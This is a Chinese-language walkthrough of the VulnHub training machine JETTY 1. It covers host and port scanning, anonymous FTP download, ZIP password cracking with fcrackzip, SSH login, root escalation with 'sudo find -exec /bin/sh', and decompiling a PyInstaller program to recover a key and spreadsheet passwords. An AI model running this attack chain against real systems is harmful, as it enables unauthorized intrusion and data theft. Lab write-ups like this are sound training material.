VulnHub-JETTY 1 靶场渗透测试
字数 2134 2025-08-15 21:33:32
VulnHub-JETTY 1 靶场渗透测试教学文档
靶场概述
- 名称: JETTY 1
- 难度: 简单/中级(获取root权限中等难度,收集证据较难)
- 场景: 水族馆生命有限公司怀疑员工Squiddie在销售假票实施欺诈,需要渗透其电脑获取证据
- 下载地址: https://www.vulnhub.com/entry/jetty-1,621/
- 解压密码: EsSabad0!
- 关键提示: 可疑用户名是Squiddie,负责门票销售
环境准备
-
靶机设置:
- 使用VMware Workstation 16.x Pro运行
- 网络模式: NAT(VMware比VirtualBox更适配)
- DHCP自动获取IP
-
攻击机:
- Kali Linux
- 与靶机同处NAT网络
渗透测试流程
一、信息收集
-
发现靶机IP:
nmap -sP 192.168.140.0/24- 发现靶机IP: 192.168.140.129
-
端口扫描与服务识别:
nmap -sS -sV -T5 -A -p- 192.168.140.129- 开放端口:
- 21/tcp: vsftpd 3.0.3 (FTP)
- 80/tcp: Apache httpd 2.4.29 (HTTP)
- 65507/tcp: OpenSSH 7.6p1 (SSH)
- 开放端口:
-
Web目录扫描:
dirb http://192.168.140.129/- 发现路径:
- /robots.txt
- /dir/
- /passwords/
- /facebook_photos
- /admin/secret
- robots.txt内容无直接可利用信息
- 发现路径:
二、漏洞利用
-
FTP匿名登录:
- 发现vsftpd 3.0.3允许匿名登录
- 匿名登录并下载文件:
ftp 192.168.140.129 # 用户名: anonymous,密码为空 wget -r ftp://192.168.140.129 - 关键文件README.txt内容:
Hi Henry, here you have your ssh's password. As you can see the file is encrypted with the default company's password. Please, once you have read this file, run the following command on your computer to close the FTP server on your side. IT IS VERY IMPORTANT!! CMD: service ftp stop. Regards, Michael. - 获得用户名线索: Henry, Michael
-
破解ZIP密码:
- 使用rockyou.txt字典爆破sshpass.zip:
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip - 获得密码:
seahorse! - 解压得到SSH密码:
Squ1d4r3Th3B3$t0fTh3W0rLd
- 使用rockyou.txt字典爆破sshpass.zip:
-
SSH登录:
- 使用用户名
squiddie(靶场提示)和获取的密码成功登录
- 使用用户名
三、权限提升
-
升级交互式shell:
python >>> import pty >>> pty.spawn("/bin/bash") -
find命令提权:
- 检查sudo权限:
sudo -l - 发现find命令可无密码以root权限执行
- 提权命令:
sudo find . -exec /bin/sh \; -quit - 再次升级shell:
python -c 'import pty; pty.spawn("/bin/bash")'
- 检查sudo权限:
四、证据收集
-
用户证据:
/home/squiddie/Desktop/user.txt:- 内容:
dd69f649f3e5159ddd10b83b56b2dda2(MD5解密后: 2004737969)
- 内容:
-
root证据:
/home/microsystems/Desktop/root.txt:- 内容:
Try Harder!
- 内容:
/root/Desktop/proof.txt:- 内容:
136d05d01c8af5d3e3520d2c270f91f1(解密后: 836934778)
- 内容:
-
定时任务分析:
crontab -l显示:*/2 * * * * /etc/cron.daily/backup- 分析
/etc/cron.daily/backup脚本:#!/bin/sh #BACKUP FILES EVERY TWO MINUTES rsync -raz /root/Documents/.docs /var/backups/ chmod 700 /var/backups/.docs - 发现备份目录
/var/backups/.docs包含多个加密表格文件
-
密码获取:
- 在
/var/backups/.docs/Password_keeper发现password_keeper.exe - 使用pyinstxtractor反编译:
python2 pyinstxtractor.py password_keeper.exe - 使用uncompyle6反编译pyc文件:
uncompyle6 password_keeper.pyc > password_keeper.py - 分析代码发现关键密钥:
key = 'N2FlMjE4ZmYyOTI4ZjZiMg==' - Base64解码得到密码:
7ae218ff2928f6b2
- 在
-
解密表格文件:
- 使用password_keeper.exe输入密码
7ae218ff2928f6b2获取各表格密码:- Instagram: S3x1B0y
- Facebook: M4rK1sS0s3X1
- Accountabilty_not_cooked: co8oiads13kt
- MoneyBalance: C5Y0wzGqq4Xw8XGD
- Pending_to_erase: 1hi2ChHrtkQsUTOc
- 使用password_keeper.exe输入密码
-
关键证据文件:
Accountabilty_not_cooked.xlsx: 真实账单(密码co8oiads13kt)AccountabiltyReportMorning-1112018.xlsx: 伪造的账单报告(未加密)MoneyBalance.xlsx: 非法收入记录(密码C5Y0wzGqq4Xw8XGD)Pending_to_erase.xlsx: 待删除账单(密码1hi2ChHrtkQsUTOc)
总结
-
渗透路径:
- FTP匿名登录 → 获取ZIP文件 → 破解密码 → SSH登录 → find命令提权
-
证据收集关键点:
- 分析定时任务发现备份机制
- 反编译Python程序获取解密密钥
- 解密多个财务表格获取欺诈证据
-
技术要点:
- vsftpd匿名访问利用
- ZIP密码爆破
- sudo find命令提权
- PyInstaller打包程序的反编译
- 加密表格文件的解密与分析
-
完整证据链:
- 用户凭证(user.txt)
- root权限证明(proof.txt)
- 伪造的账单报告
- 非法收入记录
- 待销毁的原始账单
本靶场完整展示了从信息收集到权限提升,再到证据收集的完整渗透测试流程,特别强调了数字取证在渗透测试中的重要性。